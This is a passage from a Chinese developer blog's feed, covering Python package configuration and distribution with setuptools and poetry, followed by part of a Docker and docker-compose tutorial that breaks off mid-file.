包的元数据，用于描述包的兼容性、用途和许可证等。</li><li>dependencies：列出了包的依赖项，当其他人安装此包时，这些依赖项也会被自动安装。</li></ul><p><code>[tool.setuptools.packages.find]</code> 告诉 setuptools 如何找到包。这里它会从当前目录中找到所有以 sgp 开头的包。</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[build-system]</span></span><br><span class="line"><span class="attr">requires</span> = [<span class="string">&quot;setuptools&gt;=61.0&quot;</span>]</span><br><span class="line"><span class="attr">build-backend</span> = <span class="string">&quot;setuptools.build_meta&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[project]</span></span><br><span class="line"><span class="attr">name</span> = <span class="string">&quot;openzeppelin-solidity-grammar-parser&quot;</span></span><br><span class="line"><span class="attr">version</span> = <span class="string">&quot;0.0.4&quot;</span></span><br><span class="line"><span class="attr">authors</span> = [&#123; name = <span class="string">&quot;Georgii Plotnikov&quot;</span>, email = <span class="string">&quot;accembler@gmail.com&quot;</span> &#125;]</span><br><span class="line"><span class="attr">description</span> = <span class="string">&quot;Solidity ANTLR4 grammar Python parser&quot;</span></span><br><span class="line"><span class="attr">readme</span> = <span class="string">&quot;README.md&quot;</span></span><br><span class="line"><span class="attr">requires-python</span> = <span class="string">&quot;&gt;=3.9&quot;</span></span><br><span class="line"><span class="attr">classifiers</span> = [</span><br><span class="line">    <span class="string">&quot;Programming Language :: Python :: 3&quot;</span>,</span><br><span class="line">    <span class="string">&quot;License :: OSI Approved :: MIT License&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Operating System :: OS Independent&quot;</span>,</span><br><span class="line">]</span><br><span class="line"><span class="attr">dependencies</span> = [</span><br><span class="line">    <span class="string">&quot;antlr4-python3-runtime == 4.13.1&quot;</span>,</span><br><span class="line">    <span class="string">&quot;coverage == 7.3.1&quot;</span>,</span><br><span class="line">    <span class="string">&quot;simplejson == 3.19.1&quot;</span>,</span><br><span class="line">    <span class="string">&quot;typing == 3.7.4.3&quot;</span>,</span><br><span class="line">    <span class="string">&quot;typing_extensions == 4.8.0&quot;</span>,</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="section">[project.urls]</span></span><br><span class="line"><span class="attr">&quot;Homepage&quot;</span> = <span class="string">&quot;https://github.com/OpenZeppelin/sgp&quot;</span></span><br><span class="line"><span class="attr">&quot;Bug Tracker&quot;</span> = <span class="string">&quot;https://github.com/OpenZeppelin/sgp/issues&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[tool.setuptools.packages.find]</span></span><br><span class="line"><span class="attr">where</span> = [<span class="string">&quot;.&quot;</span>]</span><br><span class="line"><span class="attr">include</span> = [<span class="string">&quot;sgp*&quot;</span>]</span><br></pre></td></tr></table></figure><p>对于 poetry 工具，需要另外一套配置，则把元信息，运行时依赖依赖和开发时的依赖，构建系统都写的比较清楚。<code>poetry build</code> 的效果和 <code>python -m build</code> 类似，会在 dist/ 目录下生成两种类型的分发文件：</p><ul><li>Source distribution (sdist)：一个 .tar.gz 文件，用于源代码分发。</li><li>Wheel (bdist_wheel)：一个 .whl 文件，这是已编译的、便于安装的包格式。</li></ul><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[tool.poetry]</span></span><br><span class="line"><span class="attr">name</span> = <span class="string">&quot;openzeppelin-solidity-grammar-parser&quot;</span></span><br><span class="line"><span class="attr">version</span> = <span class="string">&quot;0.0.4&quot;</span></span><br><span class="line"><span class="attr">description</span> = <span class="string">&quot;Solidity ANTLR4 grammar Python parser&quot;</span></span><br><span class="line"><span class="attr">authors</span> = [<span class="string">&quot;Georgii Plotnikov &lt;accembler@gmail.com&gt;&quot;</span>]</span><br><span class="line"><span class="attr">readme</span> = <span class="string">&quot;README.md&quot;</span></span><br><span class="line"><span class="attr">license</span> = <span class="string">&quot;MIT&quot;</span></span><br><span class="line"><span class="attr">homepage</span> = <span class="string">&quot;https://github.com/OpenZeppelin/sgp&quot;</span></span><br><span class="line"><span class="attr">repository</span> = <span class="string">&quot;https://github.com/OpenZeppelin/sgp&quot;</span></span><br><span class="line"><span class="attr">documentation</span> = <span class="string">&quot;https://github.com/OpenZeppelin/sgp&quot;</span></span><br><span class="line"><span class="attr">keywords</span> = [<span class="string">&quot;solidity&quot;</span>, <span class="string">&quot;parser&quot;</span>, <span class="string">&quot;antlr4&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="section">[tool.poetry.dependencies]</span></span><br><span class="line"><span class="attr">python</span> = <span class="string">&quot;&gt;=3.9&quot;</span></span><br><span class="line"><span class="attr">antlr4-python3-runtime</span> = <span class="string">&quot;4.13.1&quot;</span></span><br><span class="line"><span class="attr">coverage</span> = <span class="string">&quot;7.3.1&quot;</span></span><br><span class="line"><span class="attr">simplejson</span> = <span class="string">&quot;3.19.1&quot;</span></span><br><span class="line"><span class="attr">typing</span> = <span class="string">&quot;3.7.4.3&quot;</span></span><br><span class="line"><span class="attr">typing_extensions</span> = <span class="string">&quot;4.8.0&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[tool.poetry.dev-dependencies]</span></span><br><span class="line"><span class="attr">black</span> = <span class="string">&quot;^23.0&quot;</span></span><br><span class="line"><span class="attr">ruff</span> = <span class="string">&quot;^0.0.288&quot;</span></span><br><span class="line"><span class="attr">pytest</span> = <span class="string">&quot;^7.0&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="section">[tool.poetry.packages]</span></span><br><span class="line"><span class="comment">## 只包含 sgp 目录下的代码</span></span><br><span class="line"><span class="comment">## 这将确保打包时只会包含 sgp 目录，而不会把其他项目文件夹（如 tests/、scripts/ 等）打包进来。</span></span><br><span class="line"><span class="attr">include</span> = [<span class="string">&quot;sgp&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">## 这一部分用于指定额外要包含的非 Python 文件。</span></span><br><span class="line"><span class="section">[tool.poetry.include]</span></span><br><span class="line"><span class="comment">## 包含 README.md</span></span><br><span class="line"><span class="attr">README.md</span> = &#123; path = <span class="string">&quot;README.md&quot;</span>, format = <span class="string">&quot;text/markdown&quot;</span> &#125;</span><br><span class="line"><span class="comment">## 包含 LICENSE</span></span><br><span class="line"><span class="attr">LICENSE</span> = &#123; path = <span class="string">&quot;LICENSE&quot;</span>, format = <span class="string">&quot;text/plain&quot;</span> &#125;</span><br><span class="line"><span class="comment">## 包含某些其他文件</span></span><br><span class="line"><span class="attr">&quot;sgp/parser/*.tokens&quot;</span> = &#123; format = <span class="string">&quot;text/plain&quot;</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="section">[build-system]</span></span><br><span class="line"><span class="attr">requires</span> = [<span class="string">&quot;poetry-core&gt;=1.1.0&quot;</span>]</span><br><span class="line"><span class="attr">build-backend</span> = <span class="string">&quot;poetry.core.masonry.api&quot;</span></span><br></pre></td></tr></table></figure><p>而且 <code>poetry install</code> 不仅会安装好依赖，还会执行了类似 <code>pip install -e .</code> 的功能，执行了可编辑模式安装。</p><h2 id="代码编译分发">代码编译分发</h2><p>上一小节介绍了如何打包，并且介绍了 2 种打包生成的文件。。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">dist/</span><br><span class="line">    my_package-0.1.0.tar.gz</span><br><span class="line">    my_package-0.1.0-py3-none-any.whl</span><br></pre></td></tr></table></figure><p>这里两种分发包都是可以安装的 <code>pip install dist/my_package-0.1.0-py3-none-any.whl</code> 和 <code>pip install dist/my_package-0.1.0.tar.gz</code></p><p>安装源代码分发包时，pip 会从源代码构建包，这通常涉及到编译步骤。如果项目中有 C 扩展或其他需要编译的代码，安装时会需要构建工具（如 gcc、make 等）来编译这些部分。这种方式兼容性好。但是构建时如果出问题，需要使用者具备比较深入的知识。如果你的项目包含 C 扩展或其他需要编译的代码，源代码分发包是必不可少的。</p><p><code>.whl</code> 文件是一种标准的 Python 二进制包格式，它是预编译好的包。包含编译后的文件，并且已经处理好所有依赖，因此安装时不需要再次编译。Wheel 包通常包括预编译的 C 扩展、二进制文件以及纯 Python 文件。安装速度快，不用编译，但是是平台和架构相关的，需要编译多个版本。<br>发布的时候，使用 <code>twine upload dist/*</code>。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/python-package/</id>
    <link href="https://www.blog-blockchain.xyz/dev/python-package/"/>
    <published>2024-10-22T03:18:20.000Z</published>
    <summary>全面指导Python包开发流程，包括包结构设计、模块初始化、测试编写、pyproject.toml配置、打包分发等核心技能，帮助开发者创建可复用的Python库。</summary>
    <title>(二）包的开发</title>
    <updated>2026-02-19T16:18:01.162Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="了解背景">了解背景</h2><p>Docker 是一种轻量级的容器化技术，主要用于<strong>应用程序的环境迁移和一致性</strong>。你需要知道下面的基本概念：</p><ul><li>了解镜像、容器的基本概念：<a href="https://yeasy.gitbook.io/docker_practice/basic_concept">https://yeasy.gitbook.io/docker_practice/basic_concept</a></li><li>数据卷的基本概念：<a href="https://yeasy.gitbook.io/docker_practice/data_management/volume">https://yeasy.gitbook.io/docker_practice/data_management/volume</a></li><li>网络方面，端口映射、docker compose 容器互联：<a href="https://yeasy.gitbook.io/docker_practice/network/port_mapping">https://yeasy.gitbook.io/docker_practice/network/port_mapping</a></li></ul><p>OK，上面三个基本概念，你就足够使用 docker 了，然后我们来了解 docker 最实用的地方：</p><ol><li>环境迁移，在不同的机器上保持一致性，一次创建或配置，可以在任意地方正常运行。。</li><li>直接在 docker 内利用 linux 环境和路径挂载来开发。<ol><li>隔离依赖、统一开发环境、快速启动。</li><li>利用 Linux 容器作为开发环境：在不同平台（Windows、Mac、Linux）上保持一致的开发环境。</li><li>通过 volumes 实现容器与主机的文件共享，利用挂载路径在本地编辑代码，并在容器中即时运行。典型场景：在容器中运行应用，同时在本地编辑源代码（热重载），也可以使用 vscode remote.</li></ol></li></ol><blockquote><p>docker 还有更加高级的配置，比如说可以让容器直接绑定网卡，处理网络包的数据，进行网卡级别的数据转发工作。这在软路由或者旁路由中用处比较多。这里会涉及到很多的细节，比如使用网卡的时候，和 host 的网络冲突和隔离等。作为开发和运行环境，暂时不会接触到这些。</p></blockquote><h2 id="用起来">用起来</h2><h3 id="Dockerfile">Dockerfile</h3><p>这是镜像的配置文件，教程可以参考：<a href="https://yeasy.gitbook.io/docker_practice/image/build">https://yeasy.gitbook.io/docker_practice/image/build</a> ，我们会更多的从例子学习。</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">## syntax=docker/dockerfile:1.4  # 指定Dockerfile的语法版本，确保使用最新功能</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## -------------------------------------</span></span><br><span class="line"><span class="comment">## 第一阶段：构建阶段（Build Stage）</span></span><br><span class="line"><span class="comment">## 使用多阶段构建：减少最终镜像的大小，只保留构建完成后的应用程序，而不包含开发工具</span></span><br><span class="line"><span class="comment">## -------------------------------------</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用轻量级的 Python 基础镜像作为构建环境</span></span><br><span class="line"><span class="keyword">FROM</span> python:<span class="number">3.9</span>-slim AS builder</span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置环境变量，确保Python在无缓存模式下运行，减少镜像大小</span></span><br><span class="line"><span class="keyword">ENV</span> PYTHONDONTWRITEBYTECODE=<span class="number">1</span>  <span class="comment"># 防止Python写入.pyc文件</span></span><br><span class="line"><span class="keyword">ENV</span> PYTHONUNBUFFERED=<span class="number">1</span>         <span class="comment"># 确保日志信息（stdout和stderr）实时输出</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置工作目录</span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 安装系统依赖</span></span><br><span class="line"><span class="comment">## 使用 `--no-install-recommends` 以避免安装额外不需要的包，保持镜像精简</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> apt-get update &amp;&amp; apt-get install -y --no-install-recommends \</span></span><br><span class="line"><span class="language-bash">    build-essential \</span></span><br><span class="line"><span class="language-bash">    libpq-dev \</span></span><br><span class="line"><span class="language-bash">    curl \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">rm</span> -rf /var/lib/apt/lists/*  <span class="comment"># 清理缓存以减小镜像大小</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 复制requirements.txt文件到容器，并安装依赖</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> requirements.txt .</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> pip install --user --no-cache-dir -r requirements.txt  <span class="comment"># 使用--no-cache-dir避免缓存</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">## -------------------------------------</span></span><br><span class="line"><span class="comment">## 第二阶段：运行阶段（Runtime Stage）</span></span><br><span class="line"><span class="comment">## 这里是最终生成的镜像，只保留运行所需的内容，确保镜像尽量小</span></span><br><span class="line"><span class="comment">## -------------------------------------</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 使用一个更小的基础镜像作为运行时环境</span></span><br><span class="line"><span class="keyword">FROM</span> python:<span class="number">3.9</span>-slim</span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置环境变量</span></span><br><span class="line"><span class="keyword">ENV</span> PYTHONDONTWRITEBYTECODE=<span class="number">1</span>  <span class="comment"># 防止Python写入.pyc文件</span></span><br><span class="line"><span class="keyword">ENV</span> PYTHONUNBUFFERED=<span class="number">1</span>         <span class="comment"># 确保日志信息（stdout和stderr）实时输出</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置工作目录</span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /app</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 复制已安装的依赖，从build阶段复制</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> --from=builder /root/.local /root/.local</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 确保pip的安装路径可用</span></span><br><span class="line"><span class="keyword">ENV</span> PATH=/root/.local/bin:$PATH</span><br><span class="line"></span><br><span class="line"><span class="comment">## 复制应用源代码到工作目录</span></span><br><span class="line"><span class="keyword">COPY</span><span class="language-bash"> . .</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 暴露应用程序端口（例如Flask默认端口5000）</span></span><br><span class="line"><span class="keyword">EXPOSE</span> <span class="number">5000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置运行时的用户为非root用户，提升安全性</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> useradd -m appuser</span></span><br><span class="line"><span class="keyword">USER</span> appuser</span><br><span class="line"></span><br><span class="line"><span class="comment">## 设置应用程序的入口点，容器会运行这个命令。</span></span><br><span class="line"><span class="keyword">CMD</span><span class="language-bash"> [<span class="string">&quot;python&quot;</span>, <span class="string">&quot;app.py&quot;</span>]</span></span><br><span class="line"></span><br><span class="line"><span class="comment">## 这会定期检查 Flask 应用是否在端口 5000 正常运行，如果检查失败，Docker 会认为容器不健康。</span></span><br><span class="line"><span class="keyword">HEALTHCHECK</span><span class="language-bash"> --interval=30s --<span class="built_in">timeout</span>=10s --retries=3 CMD curl --fail http://localhost:5000 || <span class="built_in">exit</span> 1</span></span><br></pre></td></tr></table></figure><h4 id="基础命令">基础命令</h4><ul><li>FROM 设置基础镜像，</li><li>ENV 设置环境变量，构建和运行的时候都会生效。</li><li>WORKDIR 指定工作目录，</li><li><code>USER</code> 则是改变之后层的执行 <code>RUN</code>, <code>CMD</code> 以及 <code>ENTRYPOINT</code> 这类命令的身份。</li><li>COPY 复制项目文件到镜像，</li><li><code>EXPOSE</code> 指令是声明容器运行时提供服务的端口，这只是一个声明，在容器运行时并不会因为这个声明应用就会开启这个端口的服务。在 Dockerfile 中写入这样的声明有两个好处，一个是帮助镜像使用者理解这个镜像服务的守护端口，以方便配置映射；另一个用处则是在运行时使用随机端口映射时，也就是 <code>docker run -P</code> 时，会自动随机映射 <code>EXPOSE</code> 的端口。</li><li>CMD 主要用于定义容器启动时的默认命令或参数，可以被用户在 docker run 命令行中覆盖。注意建议使用这种列表的格式，因为能够避免一些多重引号的冲突。</li><li>ENTRYPOINT：用于固定的默认启动，指定了一个容器启动时必须执行的命令，这个命令不容易被覆盖，除非使用 --entrypoint 选项。应该放在 CMD 前面，并且用于完成固定的初始化任务和运行服务。</li><li><code>HEALTHCHECK</code> 指令是告诉 Docker 应该如何进行判断容器的状态是否正常，<ul><li><code>-interval=&lt;间隔&gt;</code>：两次健康检查的间隔，默认为 30 秒；</li><li><code>-timeout=&lt;时长&gt;</code>：健康检查命令运行超时时间，如果超过这个时间，本次健康检查就被视为失败，默认 30 秒；</li><li><code>-retries=&lt;次数&gt;</code>：当连续失败指定次数后，则将容器状态视为 <code>unhealthy</code>，默认 3 次。</li></ul></li></ul><h4 id="多级构建">多级构建</h4><p>这里采用了<strong>多阶段构建</strong>，builder 这个镜像实际上只使用了 /root/.local 里构建好的东西，这个镜像会保存作为缓存，但是不会用于运行应用。python:3.9-slim 是实际运行应用的镜像，因为构建时安装的很多依赖，在运行的时候不需要。这么做有如下好处：</p><ol><li><p><strong>减少镜像大小</strong>：builder 阶段安装了所有开发工具和依赖，但它不会包含在最终的运行镜像中。最终镜像只包含最少的运行环境和应用程序本身。例如，python:3.9-slim 镜像的体积非常小（约 55MB），相比于完整的 python:3.9 镜像（约 885MB），这在部署生产环境时极大减少了资源占用。</p></li><li><p><strong>提高构建速度</strong>：通过 Docker 的缓存机制，当你修改代码但没有修改依赖时，Docker 只需要重新复制代码，而不必重新安装依赖。如果依赖没有变化，Docker 会使用 builder 阶段的缓存，加速后续的构建。</p></li></ol><h4 id="构建、运行、停止、删除容器">构建、运行、停止、删除容器</h4><p><strong>构建命令</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker build -f docker/Dockerfile -t my-app ..</span><br></pre></td></tr></table></figure><p>这里指定构建的镜像的命名，还有上下文 <code>..</code> 是上级目录，会作为相对路径的参考。-t 选项为生成的镜像指定一个名称，果你想要指定版本或标签，可以这样使用 <code>my-app:1.0</code></p><p>构建镜像后，你可以通过 docker run 命令来<strong>运行容器</strong>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">docker run -d -p 8080:80 \</span><br><span class="line">  -v /path/to/api_key.txt:/run/secrets/api_key.txt \</span><br><span class="line">  -e API_KEY=my-secret-key \</span><br><span class="line">  --name my-app-container my-app</span><br></pre></td></tr></table></figure><p>-d：-d 表示容器将在后台运行（“detached mode”），即以守护进程的方式运行。这对于运行长期服务（如 Web 服务器）很有用。</p><p>-p 8080:80：-p 选项将宿主机的端口映射到容器的端口。在这个例子中，将宿主机的 8080 端口映射到容器的 80 端口，假设你的应用在容器内的 80 端口上运行。访问 <a href="http://localhost:8080/">http://localhost:8080</a> 就相当于访问容器内的服务。</p><p>-v 是挂载文件到容器，</p><p>-name 是自定义容器的名字，</p><p>-name my-app-container：为容器指定一个名称，方便后续操作和管理。你可以通过容器名称来启动、停止、删除或查看日志。如果不指定名称，Docker 会随机生成一个名称。<br>my-app：这是刚才构建的镜像名称。Docker 会基于这个镜像启动容器。</p><p>这里是运行默认的命令，我们可以在 my-app 后面加上自己的命令，用于自定义的运行。例如 <code>docker run -d -p 8080:80 --name my-app-container my-app python [app.py](http://app.py/)</code></p><p>如果希望<strong>交互式的运行</strong>，</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -it --name my-app-container my-app bash</span><br></pre></td></tr></table></figure><p>-it：-i 表示交互模式，-t 表示为容器分配一个伪终端。使用这两个选项可以进入容器并与容器进行交互。</p><p>bash：启动容器时运行 bash，这样你可以获得容器内的命令行。</p><p>当你不再需要容器时，可以通过以下命令<strong>停止容器</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker stop my-app-container</span><br></pre></td></tr></table></figure><p>docker stop：停止一个运行中的容器。你可以通过容器的名称或 ID 来指定它。</p><p>当你不再需要容器时，可以通过以下命令<strong>删除容器</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker <span class="built_in">rm</span> my-app-container</span><br></pre></td></tr></table></figure><p><strong>导入密钥的最佳实践</strong></p><p>有时候容器里需要导入密钥来运行某些应用，一般的做法可以：</p><ol><li>使用卷挂载，然后读取，可以参考之前的命令。</li><li>运行的时候指定环境变量，可以参考之前的命令。</li><li>使用 docker compose 来运行</li></ol><p>❗ 不要在 dockerfile 里写入隐私的密钥，环境变量是可以查看的</p><h3 id="Docker-compose">Docker compose</h3><p><a href="https://yeasy.gitbook.io/docker_practice/compose/introduction">简介 | Docker — 从入门到实践</a></p><p><code>Compose</code> 定位是 「定义和运行多个 Docker 容器的应用（Defining and running multi-container Docker applications）」，其前身是开源项目 Fig。一个 <code>Dockerfile</code> 模板文件，可以让用户很方便的定义一个单独的应用容器。然而，在日常工作中，经常会碰到需要多个容器相互配合来完成某项任务的情况。例如要实现一个 Web 项目，除了 Web 服务容器本身，往往还需要再加上后端的数据库服务容器，甚至还包括负载均衡容器等。</p><p><code>Compose</code> 恰好满足了这样的需求。它允许用户通过一个单独的 <code>docker-compose.yml</code> 模板文件（YAML 格式）来定义一组相关联的应用容器为一个项目（project）。</p><p><code>Compose</code> 中有两个重要的概念：</p><ul><li>服务 (<code>service</code>)：一个应用的容器，实际上可以包括若干运行相同镜像的容器实例。</li><li>项目 (<code>project</code>)：由一组关联的应用容器组成的一个完整业务单元，在 <code>docker-compose.yml</code> 文件中定义。</li></ul><p><code>Compose</code> 的默认管理对象是项目，通过子命令对项目中的一组容器进行便捷地生命周期管理。</p><h4 id="编写-docker-compose">编写 docker compose</h4><p>主要规定了每个服务怎么启动，以及依赖关系。学习下面的例子，模仿配置的格式：</p><ol><li>container_name，image，ports 这些都是固定的写法。</li><li>默认从当前目录的 .env 文件读取环境变量，并且相对路径是相对命令行所在的命令，而不是 dockerfile 里那样，手动设置的上下文。所以从哪里启动 docker compose，是比较重要的。</li><li>healthcheck 也比较常用，因为其他服务可能依赖这个服务正常运行，所以设置了检查健康的方式。用的方式是命令的返回码为 0。比如 curl 返回结果非 2xx，或者超时；命令行命令执行异常。</li><li><code>volumes</code> 有两种类型，一种是卷，类似 esdata01，直接挂载到目录。一种是本地文件，用相对位置寻找，./init.sql:/docker-entrypoint-initdb.d/init.sql，有些特定位置的文件会执行特定操作。比如说当数据库未初始化时，会执行。</li></ol><p>对于项目，build 会根据指定的 dockerfile 构建，得到镜像。但是除了 build 之外 context 路径毫无影响，其他的配置都是用命令行路径作为相对路径的参考。如果要设置默认的命令，可以参考</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">entrypoint</span><span class="language-bash">: [<span class="string">&quot;python&quot;</span>, <span class="string">&quot;/prompt-engine/src/main.py&quot;</span>]</span></span><br><span class="line">command: [<span class="string">&quot;-fpath&quot;</span>, <span class="string">&quot;projects/shanxuan&quot;</span>, <span class="string">&quot;-id&quot;</span>, <span class="string">&quot;1000shanxuan&quot;</span>, <span class="string">&quot;-cmd&quot;</span>, <span class="string">&quot;detect&quot;</span>, <span class="string">&quot;-o&quot;</span>, <span class="string">&quot;output/shanxuan.xlsx&quot;</span>]</span><br></pre></td></tr></table></figure><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line">services:</span><br><span class="line">  prompt-engine:</span><br><span class="line">    build:</span><br><span class="line">      context: ..</span><br><span class="line">      dockerfile: ./docker/Dockerfile</span><br><span class="line">    volumes:</span><br><span class="line">      - ../projects:/prompt-engine/projects       <span class="comment"># 挂载项目根目录的 src 目录到容器中</span></span><br><span class="line">      - ../output:/prompt-engine/output <span class="comment"># 挂载项目根目录的 output 目录到容器中</span></span><br><span class="line">    env_file: ./.<span class="keyword">env</span></span><br><span class="line">    depends_on:</span><br><span class="line">      postgres:</span><br><span class="line">        condition: service_healthy</span><br><span class="line">    <span class="comment"># command: python /prompt-engine/src/main.py -fpath projects/shanxuan -id 1000shanxuan -cmd detect -o output/shanxuan.xlsx</span></span><br><span class="line">    networks:</span><br><span class="line">      - prompt</span><br><span class="line">    environment:</span><br><span class="line">      DATABASE_URL: <span class="string">&quot;postgresql://$&#123;POSTGRES_USER_NAME&#125;:$&#123;POSTGRES_PASSWORD&#125;@postgres:5432/$&#123;POSTGRES_DB_NAME&#125;&quot;</span></span><br><span class="line">      OPENAI_API_BASE: <span class="string">&quot;$&#123;OPENAI_API_BASE&#125;&quot;</span></span><br><span class="line">      OPENAI_API_KEY: <span class="string">&quot;$&#123;OPENAI_API_KEY&#125;&quot;</span></span><br><span class="line">      VUL_MODEL_ID: <span 